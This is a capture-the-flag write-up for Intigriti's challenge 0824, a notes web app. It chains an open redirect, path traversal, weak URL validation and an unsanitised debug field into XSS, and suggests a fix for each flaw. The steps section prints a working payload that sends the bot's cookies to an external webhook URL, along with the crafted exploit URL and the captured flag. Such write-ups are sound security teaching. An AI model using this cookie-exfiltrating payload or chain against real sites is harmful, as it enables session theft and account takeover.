Write-up for intigriti Challenge 0824

intigriti-challenge-0824.md

Introduction

This is a write-up for the online challenge 0824 that Intigriti has released for Defcon. In this challenge, you get the source code of a web application and a URL for the production server where you can launch your attack after having tested it offline. The application is called SafeNotes and has a web interface that allows a user to register, login, create a note, view a stored note, report a note to the creators and contact the creators. The application has 2 components: the application itself that is shown to the users and an internal bot application that opens reported URLs in a headless browser. When the bot makes a call to the application, a cookie is sent with the flag. You can find the challenge description and source code on: https://challenge-0824.intigriti.io/

Vulnerability descriptions

To get to the flag, there are a number of vulnerabilities in the application that have to be chained:

1. Open redirect: There is an open redirect in the contact page. For example: https://challenge-0824.intigriti.io/contact?return=http://google.be If an attacker can get a user to click on this link, the user will be redirected to google.be. To resolve this, there should be a check to validate that only paths within the scope of the application or a whitelist are allowed.
2. Path traversal: There is a path traversal in the view page as the check for the UUID does not validate the characters that come before the UUID. For example, https://challenge-0824.intigriti.io/view?note=..\..\..\contact?292edc00-608b-4309-a082-2fdc7ada83fe will send a call to the contact page. This call is made because in the JavaScript of the view page, a call is made to the API to grab the note data using this note parameter as input. This is the source code for that insecure call: fetch("/api/notes/fetch/" + decodeURIComponent(noteId) By adding ..\ to the note parameter, we can make the view page call another page instead and this bypasses the checks on path traversal that were implemented. To resolve this, instead of only looking for ../ to detect a path traversal, it is recommended to use a whitelist of allowed characters for the field. The UUID should only contain alphanumeric characters and dashes. Additionally, the check for the UUID should check the whole field and not only the last 36 characters.
3. Insufficient server-side input validation: The report page validates that only a link to the view page for a specified note ID can be submitted. However, the server side validation only checks that the path is /view and the note parameter in the URL ends with a valid UUID in the last 36 characters. This allows an attacker to pass additional URL parameters and pass more data in the note parameter than only the UUID. For example, https://challenge-0824.intigriti.io/view?note=..\..\..\contact?return=http://webhook.site/70963c0a-f202-44bc-a9aa-4d23b0e358ad This makes the server make a request to our website. Additional server-side validation is recommended to ensure that only valid URLs can be submitted.
4. Insufficient client-side input validation: The view web page properly sanitizes the content from the note that is returned by the API to ensure that no XSS is possible. However, if a "debug" field is added to the note, then this field is printed on the page without further sanitization which can lead to XSS. It is recommended to perform the same sanitization on the debug field as is done on the content field.
5. Obsolete vulnerable API endpoint (not abused in flow): The create page also allows a POST request similar to /api/notes/store but without proper input validation. This was not abused in the flow described below (thanks for the rabbit hole guys!).

Steps to reproduce

The identified vulnerabilities can be chained by:

1. Hosting a payload on our web server that returns a note object in JSON format where we put an XSS payload in the debug field. This XSS payload will then grab the cookies from the browser of the bot and submit them to our webserver. The following JSON object is returned by our server:

{
  "content":"test",
  "note_id":"292edc00-608b-4309-a082-2fdc7ada83fe",
  "debug":"<img src=x onerror=window.location.assign('https://webhook.site/70963c0a-f202-44bc-a9aa-4d23b0e358ad?'+document.cookie)>"
}

2. Submitting a URL on the report page that abuses the path traversal and the open redirect to load the JSON object from our webserver. This can be done with the following URL:

https://challenge-0824.intigriti.io/view?note=..\..\..\contact?return=http://webhook.site/70963c0a-f202-44bc-a9aa-4d23b0e358ad

3. The result is that the report page calls the bot with this URL. The bot then opens the view page and loads the malicious JSON object through the path traversal and open redirect from our webserver. Since the malicious JSON object contains a debug field, this is added to the view page without sanitization. The code that is added will make the bot make a call to our webserver with the cookies as a URL parameter which gives us the flag.

Result

After these steps a call was sent to our endpoint: https://webhook.site/70963c0a-f202-44bc-a9aa-4d23b0e358ad?flag=INTIGRITI{1337uplivectf_151124_54v3_7h3_d473}

This shows the flag for this challenge: INTIGRITI{1337uplivectf_151124_54v3_7h3_d473}